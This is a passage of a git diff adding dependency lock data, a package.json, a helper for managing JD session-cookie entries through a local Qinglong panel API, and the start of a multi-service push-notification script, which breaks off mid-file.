"~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "request": { + "version": "2.88.2", + "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz", + "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==", + "requires": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.3", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.5.0", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" + }, + "dependencies": { + "qs": { + "version": "6.5.2", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", + "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==" + }, + "tough-cookie": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz", + "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==", + "requires": { + "psl": "^1.1.28", + "punycode": "^2.1.1" + } + } + } + }, + "requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha1-kl0mAdOaxIXgkc8NpcbmlNw9yv8=" + }, + "resolve-alpn": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz", + "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==" + }, + "responselike": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz", + "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=", + "requires": { + "lowercase-keys": "^1.0.0" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "secure-compare": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/secure-compare/-/secure-compare-3.0.1.tgz", + "integrity": "sha1-8aAymzCLIh+uN7mXTz1XjQypmeM=" + }, + "seek-bzip": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/seek-bzip/-/seek-bzip-1.0.6.tgz", + "integrity": "sha512-e1QtP3YL5tWww8uKaOCQ18UxIT2laNBXHjV/S2WYCiK4udiv8lkG89KRIoCjUagnAmCBurjF4zEVX2ByBbnCjQ==", + "requires": { + "commander": "^2.8.1" + } + }, + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==" + }, + "side-channel": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", + "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "requires": { + "call-bind": "^1.0.0", + "get-intrinsic": "^1.0.2", + "object-inspect": "^1.9.0" + } + }, + "sort-keys": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-1.1.2.tgz", + "integrity": "sha1-RBttTTRnmPG05J6JIK37oOVD+a0=", + "requires": { + "is-plain-obj": "^1.0.0" + } + }, + "sort-keys-length": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/sort-keys-length/-/sort-keys-length-1.0.1.tgz", + "integrity": "sha1-nLb09OnkgVWmqgZx7dM2/xR5oYg=", + "requires": { + "sort-keys": "^1.0.0" + } + }, + "sshpk": { + "version": "1.16.1", + "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.16.1.tgz", + "integrity": "sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==", + "requires": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" + } + }, + "strict-uri-encode": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz", + "integrity": "sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM=" + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "requires": { + "safe-buffer": "~5.1.0" + } + }, + "strip-dirs": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/strip-dirs/-/strip-dirs-2.1.0.tgz", + "integrity": "sha512-JOCxOeKLm2CAS73y/U4ZeZPTkE+gNVCzKt7Eox84Iej1LT/2pTWYpZKJuxwQpvX1LiZb1xokNR7RLfuBAa7T3g==", + "requires": { + "is-natural-number": "^4.0.1" + } + }, + "strip-outer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/strip-outer/-/strip-outer-1.0.1.tgz", + "integrity": "sha512-k55yxKHwaXnpYGsOzg4Vl8+tDrWylxDEpknGjhTiZB8dFRU5rTo9CAzeycivxV3s+zlTKwrs6WxMxR95n26kwg==", + "requires": { + "escape-string-regexp": "^1.0.2" + } + }, + "tar-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-1.6.2.tgz", + "integrity": "sha512-rzS0heiNf8Xn7/mpdSVVSMAWAoy9bfb1WOTYC78Z0UQKeKa/CWS8FOq0lKGNa8DWKAn9gxjCvMLYc5PGXYlK2A==", + "requires": { + "bl": "^1.0.0", + "buffer-alloc": "^1.2.0", + "end-of-stream": "^1.0.0", + "fs-constants": "^1.0.0", + "readable-stream": "^2.3.0", + "to-buffer": "^1.1.1", + "xtend": "^4.0.0" + } + }, + "through": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", + "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=" + }, + "timed-out": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/timed-out/-/timed-out-4.0.1.tgz", + "integrity": "sha1-8y6srFoXW+ol1/q1Zas+2HQe9W8=" + }, + "to-buffer": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.1.1.tgz", + "integrity": "sha512-lx9B5iv7msuFYE3dytT+KE5tap+rNYw+K4jVkb9R/asAb+pbBSM17jtunHplhBe6RRJdZx3Pn2Jph24O32mOVg==" + }, + "tough-cookie": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.0.0.tgz", + "integrity": "sha512-tHdtEpQCMrc1YLrMaqXXcj6AxhYi/xgit6mZu1+EDWUn+qhUf8wMQoFIy9NXuq23zAwtcB0t/MjACGR18pcRbg==", + "requires": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.1.2" + } + }, + "trim-repeated": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/trim-repeated/-/trim-repeated-1.0.0.tgz", + "integrity": "sha1-42RqLqTokTEr9+rObPsFOAvAHCE=", + "requires": { + "escape-string-regexp": "^1.0.2" + } + }, + "ts-md5": { + "version": "1.2.9", + "resolved": "https://registry.npmjs.org/ts-md5/-/ts-md5-1.2.9.tgz", + "integrity": "sha512-/Efr7ZfGf8P+d9HXh0PLQD1CDipqD8j9apCFG96pODDoEaFLxXpV4En6tAc6y3fWyfhFGrqtNBRBS+eLVIB2uQ==" + }, + "tslib": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz", + "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==" + }, + "tunnel": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz", + "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==" + }, + "tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", + "requires": { + "safe-buffer": "^5.0.1" + } + }, + "tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=" + }, + "unbzip2-stream": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/unbzip2-stream/-/unbzip2-stream-1.4.3.tgz", + "integrity": "sha512-mlExGW4w71ebDJviH16lQLtZS32VKqsSfk80GCfUlwT/4/hNRFsoscrF/c++9xinkMzECL1uL9DDwXqFWkruPg==", + "requires": { + "buffer": "^5.2.1", + "through": "^2.3.8" + } + }, + "union": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/union/-/union-0.5.0.tgz", + "integrity": "sha512-N6uOhuW6zO95P3Mel2I2zMsbsanvvtgn6jVqJv4vbVcz/JN0OkL9suomjQGmWtxJQXOCqUJvquc1sMeNz/IwlA==", + "requires": { + "qs": "^6.4.0" + } + }, + "universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==" + }, + "uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "requires": { + "punycode": "^2.1.0" + } + }, + "url-join": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/url-join/-/url-join-2.0.5.tgz", + "integrity": "sha1-WvIvGMBSoACkjXuCxenC4v7tpyg=" + }, + "url-parse-lax": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz", + "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=", + "requires": { + "prepend-http": "^2.0.0" + } + }, + "url-to-options": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/url-to-options/-/url-to-options-1.0.1.tgz", + "integrity": "sha1-FQWgOiiaSMvXpDTvuu7FBV9WM6k=" + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + }, + "uuid": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==" + }, + "verror": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", + "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", + "requires": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + }, + "dependencies": { + "core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" + } + } + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + }, + "ws": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.4.tgz", + "integrity": "sha512-zP9z6GXm6zC27YtspwH99T3qTG7bBFv2VIkeHstMLrLlDJuzA7tQ5ls3OJ1hOGGCzTQPniNJoHXIAOS0Jljohg==" + }, + "xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==" + }, + "yauzl": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", + "integrity": "sha1-x+sXyT4RLLEIb6bY5R+wZnt5pfk=", + "requires": { + "buffer-crc32": "~0.2.3", + "fd-slicer": "~1.1.0" + } + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..20f1dcd --- /dev/null +++ b/package.json @@ -0,0 +1,48 @@ +{ + "name": "jd", + "version": "1.0.0", + "description": "{**When you're done, you can delete the content in this README and update the file with details for others getting started with your repository**}", + "main": "AlipayManor.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "repository": { + "type": "git", + "url": "" + }, + "keywords": [ + "JD" + ], + "author": "", + "license": "ISC", + "dependencies": { + "axios": "^0.27.2", + "commander": "^9.2.0", + "console-grid": "^1.0.17", + "crypto-js": "^4.1.1", + "date-fns": "^2.28.0", + "dotenv": "^16.0.0", + "download": "^8.0.0", + "form-data": "^4.0.0", + "got": "^11.8.3", + "http-server": "^14.1.0", + "jsdom": "^19.0.0", + "md5": "^2.3.0", + "png-js": "^1.0.0", + "prettytable": "^0.3.1", + "qrcode-terminal": "^0.12.0", + "request": "^2.88.2", + "tough-cookie": "^4.0.0", + "ts-md5": "^1.2.11", + "tslib": "^2.4.0", + "tunnel": "0.0.6", + "ws": "^8.5.0" + }, + "devDependencies": { + "@types/node": "^17.0.30", + "gulp": "^4.0.2", + "gulp-typescript": "^6.0.0-alpha.1", + "ts-node": "^10.7.0", + "typescript": "^4.6.4" + } +} diff --git a/ql.js b/ql.js new file mode 100644 index 0000000..31e4883 --- /dev/null +++ b/ql.js @@ -0,0 +1,204 @@ +'use strict'; + +const got = require('got'); +require('dotenv').config(); +const { readFile } = require('fs/promises'); +const path = require('path'); + +const qlDir = '/ql'; +const fs = require('fs'); +let Fileexists = fs.existsSync('/ql/data/config/auth.json'); +let authFile=""; +if (Fileexists) + authFile="/ql/data/config/auth.json" +else + authFile="/ql/config/auth.json" +//const authFile = path.join(qlDir, 'config/auth.json'); + +const api = got.extend({ + prefixUrl: 'http://127.0.0.1:5600', + retry: { limit: 0 }, +}); + +async function getToken() { + const authConfig = JSON.parse(await readFile(authFile)); + return authConfig.token; +} + +module.exports.getEnvs = async () => { + const token = await getToken(); + const body = await api({ + url: 'api/envs', + searchParams: { + searchValue: 'JD_COOKIE', + t: Date.now(), + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + }, + }).json(); + return body.data; +}; + +module.exports.getEnvsCount = async () => { + const data = await this.getEnvs(); + return data.length; +}; + +module.exports.addEnv = async (cookie, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'post', + url: 'api/envs', + params: { t: Date.now() }, + json: [{ + name: 'JD_COOKIE', + value: cookie, + remarks, + }], + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.updateEnv = async (cookie, eid, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs', + params: { t: Date.now() }, + json: { + name: 'JD_COOKIE', + value: cookie, + _id: eid, + remarks, + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.updateEnv11 = async (cookie, eid, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs', + params: { t: Date.now() }, + json: { + name: 'JD_COOKIE', + value: cookie, + id: eid, + remarks, + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.DisableCk = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs/disable', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.EnableCk = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs/enable', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.getstatus = async(eid) => { + const envs = await this.getEnvs(); + var tempid = 0; + for (let i = 0; i < envs.length; i++) { + tempid = 0; + if (envs[i]._id) { + tempid = envs[i]._id; + } + if (envs[i].id) { + tempid = envs[i].id; + } + if (tempid == eid) { + return envs[i].status; + } + } + return 99; +}; + +module.exports.getEnvById = async(eid) => { + const envs = await this.getEnvs(); + var tempid = 0; + for (let i = 0; i < envs.length; i++) { + tempid = 0; + if (envs[i]._id) { + tempid = envs[i]._id; + } + if (envs[i].id) { + tempid = envs[i].id; + } + if (tempid == eid) { + return envs[i].value; + } + } + return ""; +}; + +module.exports.getEnvByPtPin = async (Ptpin) => { + const envs = await this.getEnvs(); + for (let i = 0; i < envs.length; i++) { + var tempptpin = decodeURIComponent(envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/) && envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if(tempptpin==Ptpin){ + return envs[i]; + } + } + return ""; +}; + +module.exports.delEnv = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'delete', + url: 'api/envs', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; diff --git a/sendNotify.js b/sendNotify.js new file mode 100644 index 0000000..113f46e --- /dev/null +++ b/sendNotify.js @@ -0,0 +1,2317 @@ +/* + * @Author: lxk0301 https://gitee.com/lxk0301 + * @Date: 2020-08-19 16:12:40 + * @Last Modified by: whyour + * @Last Modified time: 2021-5-1 15:00:54 + * sendNotify 推送通知功能 + * @param text 通知头 + * @param desp 通知体 + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } + * @param author 作者仓库等信息 例:`本通知 By:https://github.com/whyour/qinglong` + */ +//详细说明参考 https://github.com/ccwav/QLScript2. +const querystring = require('querystring'); +const exec = require('child_process').exec; +const $ = new Env(); +const timeout = 15000; //超时时间(单位毫秒) +console.log("加载sendNotify,当前版本: 20220722"); +// =======================================go-cqhttp通知设置区域=========================================== +//gobot_url 填写请求地址http://127.0.0.1/send_private_msg +//gobot_token 填写在go-cqhttp文件设置的访问密钥 +//gobot_qq 填写推送到个人QQ或者QQ群号 +//go-cqhttp相关API https://docs.go-cqhttp.org/api +let GOBOT_URL = ''; // 推送到个人QQ: http://127.0.0.1/send_private_msg 群:http://127.0.0.1/send_group_msg +let GOBOT_TOKEN = ''; //访问密钥 +let GOBOT_QQ = ''; // 如果GOBOT_URL设置 /send_private_msg 则需要填入 user_id=个人QQ 相反如果是 /send_group_msg 则需要填入 group_id=QQ群 + +// =======================================微信server酱通知设置区域=========================================== +//此处填你申请的SCKEY. +//(环境变量名 PUSH_KEY) +let SCKEY = ''; + +// =======================================Bark App通知设置区域=========================================== +//此处填你BarkAPP的信息(IP/设备码,例如:https://api.day.app/XXXXXXXX) +let BARK_PUSH = ''; +//BARK app推送铃声,铃声列表去APP查看复制填写 +let BARK_SOUND = ''; +//BARK app推送消息的分组, 默认为"QingLong" +let BARK_GROUP = 'QingLong'; + +// =======================================telegram机器人通知设置区域=========================================== +//此处填你telegram bot 的Token,telegram机器人通知推送必填项.例如:1077xxx4424:AAFjv0FcqxxxxxxgEMGfi22B4yh15R5uw +//(环境变量名 TG_BOT_TOKEN) +let TG_BOT_TOKEN = ''; +//此处填你接收通知消息的telegram用户的id,telegram机器人通知推送必填项.例如:129xxx206 +//(环境变量名 TG_USER_ID) +let TG_USER_ID = ''; +//tg推送HTTP代理设置(不懂可忽略,telegram机器人通知推送功能中非必填) +let TG_PROXY_HOST = ''; //例如:127.0.0.1(环境变量名:TG_PROXY_HOST) +let TG_PROXY_PORT = ''; //例如:1080(环境变量名:TG_PROXY_PORT) +let TG_PROXY_AUTH = ''; //tg代理配置认证参数 +//Telegram api自建的反向代理地址(不懂可忽略,telegram机器人通知推送功能中非必填),默认tg官方api(环境变量名:TG_API_HOST) +let TG_API_HOST = 'api.telegram.org'; +// =======================================钉钉机器人通知设置区域=========================================== +//此处填你钉钉 bot 的webhook,例如:5a544165465465645d0f31dca676e7bd07415asdasd +//(环境变量名 DD_BOT_TOKEN) +let DD_BOT_TOKEN = ''; +//密钥,机器人安全设置页面,加签一栏下面显示的SEC开头的字符串 +let DD_BOT_SECRET = ''; + +// =======================================企业微信机器人通知设置区域=========================================== +//此处填你企业微信机器人的 webhook(详见文档 https://work.weixin.qq.com/api/doc/90000/90136/91770),例如:693a91f6-7xxx-4bc4-97a0-0ec2sifa5aaa +//(环境变量名 QYWX_KEY) +let QYWX_KEY = ''; + +// =======================================企业微信应用消息通知设置区域=========================================== +/* +此处填你企业微信应用消息的值(详见文档 https://work.weixin.qq.com/api/doc/90000/90135/90236) +环境变量名 QYWX_AM依次填入 corpid,corpsecret,touser(注:多个成员ID使用|隔开),agentid,消息类型(选填,不填默认文本消息类型) +注意用,号隔开(英文输入法的逗号),例如:wwcff56746d9adwers,B-791548lnzXBE6_BWfxdf3kSTMJr9vFEPKAbh6WERQ,mingcheng,1000001,2COXgjH2UIfERF2zxrtUOKgQ9XklUqMdGSWLBoW_lSDAdafat +可选推送消息类型(推荐使用图文消息(mpnews)): +- 文本卡片消息: 0 (数字零) +- 文本消息: 1 (数字一) +- 图文消息(mpnews): 素材库图片id, 可查看此教程(http://note.youdao.com/s/HMiudGkb)或者(https://note.youdao.com/ynoteshare1/index.html?id=1a0c8aff284ad28cbd011b29b3ad0191&type=note) + */ +let QYWX_AM = ''; + +// =======================================iGot聚合推送通知设置区域=========================================== +//此处填您iGot的信息(推送key,例如:https://push.hellyw.com/XXXXXXXX) +let IGOT_PUSH_KEY = ''; + +// =======================================push+设置区域======================================= +//官方文档:http://www.pushplus.plus/ +//PUSH_PLUS_TOKEN:微信扫码登录后一对一推送或一对多推送下面的token(您的Token),不提供PUSH_PLUS_USER则默认为一对一推送 +//PUSH_PLUS_USER: 一对多推送的“群组编码”(一对多推送下面->您的群组(如无则新建)->群组编码,如果您是创建群组人。也需点击“查看二维码”扫描绑定,否则不能接受群组消息推送) +let PUSH_PLUS_TOKEN = ''; +let PUSH_PLUS_USER = ''; +let PUSH_PLUS_TOKEN_hxtrip = ''; +let PUSH_PLUS_USER_hxtrip = ''; + +// ======================================= WxPusher 通知设置区域 =========================================== +// 此处填你申请的 appToken. 官方文档:https://wxpusher.zjiecode.com/docs +// WP_APP_TOKEN 可在管理台查看: https://wxpusher.zjiecode.com/admin/main/app/appToken +// WP_TOPICIDS 群发, 发送目标的 topicId, 以 ; 分隔! 使用 WP_UIDS 单发的时候, 可以不传 +// WP_UIDS 发送目标的 uid, 以 ; 分隔。注意 WP_UIDS 和 WP_TOPICIDS 可以同时填写, 也可以只填写一个。 +// WP_URL 原文链接, 可选参数 +let WP_APP_TOKEN = ""; +let WP_TOPICIDS = ""; +let WP_UIDS = ""; +let WP_URL = ""; + +let WP_APP_TOKEN_ONE = ""; +if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; +} +let WP_UIDS_ONE = ""; + +// =======================================gotify通知设置区域============================================== +//gotify_url 填写gotify地址,如https://push.example.de:8080 +//gotify_token 填写gotify的消息应用token +//gotify_priority 填写推送消息优先级,默认为0 +let GOTIFY_URL = ''; +let GOTIFY_TOKEN = ''; +let GOTIFY_PRIORITY = 0; + +/** + * sendNotify 推送通知功能 + * @param text 通知头 + * @param desp 通知体 + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } + * @param author 作者仓库等信息 例:`本通知 By:https://github.com/whyour/qinglong` + * @returns {Promise} + */ +let PushErrorTime = 0; +let strTitle = ""; +let ShowRemarkType = "1"; +let Notify_NoCKFalse = "false"; +let Notify_NoLoginSuccess = "false"; +let UseGroupNotify = 1; +const { + getEnvs, + DisableCk, + getEnvByPtPin +} = require('./ql'); +const fs = require('fs'); +let isnewql = fs.existsSync('/ql/data/config/auth.json'); +let strCKFile=""; +let strUidFile =""; +if(isnewql){ + strCKFile = '/ql/data/scripts/CKName_cache.json'; + strUidFile = '/ql/data/scripts/CK_WxPusherUid.json'; +}else{ + strCKFile = '/ql/scripts/CKName_cache.json'; + strUidFile = '/ql/scripts/CK_WxPusherUid.json'; +} + + +let Fileexists = fs.existsSync(strCKFile); +let TempCK = []; +if (Fileexists) { + console.log("检测到别名缓存文件CKName_cache.json,载入..."); + TempCK = fs.readFileSync(strCKFile, 'utf-8'); + if (TempCK) { + TempCK = TempCK.toString(); + TempCK = JSON.parse(TempCK); + } +} + +let UidFileexists = fs.existsSync(strUidFile); +let TempCKUid = []; +if (UidFileexists) { + console.log("检测到一对一Uid文件WxPusherUid.json,载入..."); + TempCKUid = fs.readFileSync(strUidFile, 'utf-8'); + if (TempCKUid) { + TempCKUid = TempCKUid.toString(); + TempCKUid = JSON.parse(TempCKUid); + } +} + +let tempAddCK = {}; +let boolneedUpdate = false; +let strCustom = ""; +let strCustomArr = []; +let strCustomTempArr = []; +let Notify_CKTask = ""; +let Notify_SkipText = []; +let isLogin = false; +if (process.env.NOTIFY_SHOWNAMETYPE) { + ShowRemarkType = process.env.NOTIFY_SHOWNAMETYPE; + if (ShowRemarkType == "2") + console.log("检测到显示备注名称,格式为: 京东别名(备注)"); + if (ShowRemarkType == "3") + console.log("检测到显示备注名称,格式为: 京东账号(备注)"); + if (ShowRemarkType == "4") + console.log("检测到显示备注名称,格式为: 备注"); +} +async function sendNotify(text, desp, params = {}, author = '\n\n本通知 By ccwav Mod', strsummary = "") { + console.log(`开始发送通知...`); + + //NOTIFY_FILTERBYFILE代码来自Ca11back. + if (process.env.NOTIFY_FILTERBYFILE) { + var no_notify = process.env.NOTIFY_FILTERBYFILE.split('&'); + if (module.parent.filename) { + const script_name = module.parent.filename.split('/').slice(-1)[0]; + if (no_notify.some(key_word => { + const flag = script_name.includes(key_word); + if (flag) { + console.log(`${script_name}含有关键字${key_word},不推送`); + } + return flag; + })) { + return; + } + } + } + + try { + //Reset 变量 + UseGroupNotify = 1; + strTitle = ""; + GOBOT_URL = ''; + GOBOT_TOKEN = ''; + GOBOT_QQ = ''; + SCKEY = ''; + BARK_PUSH = ''; + BARK_SOUND = ''; + BARK_GROUP = 'QingLong'; + TG_BOT_TOKEN = ''; + TG_USER_ID = ''; + TG_PROXY_HOST = ''; + TG_PROXY_PORT = ''; + TG_PROXY_AUTH = ''; + TG_API_HOST = 'api.telegram.org'; + DD_BOT_TOKEN = ''; + DD_BOT_SECRET = ''; + QYWX_KEY = ''; + QYWX_AM = ''; + IGOT_PUSH_KEY = ''; + PUSH_PLUS_TOKEN = ''; + PUSH_PLUS_USER = ''; + PUSH_PLUS_TOKEN_hxtrip = ''; + PUSH_PLUS_USER_hxtrip = ''; + Notify_CKTask = ""; + Notify_SkipText = []; + + //变量开关 + var Use_serverNotify = true; + var Use_pushPlusNotify = true; + var Use_BarkNotify = true; + var Use_tgBotNotify = true; + var Use_ddBotNotify = true; + var 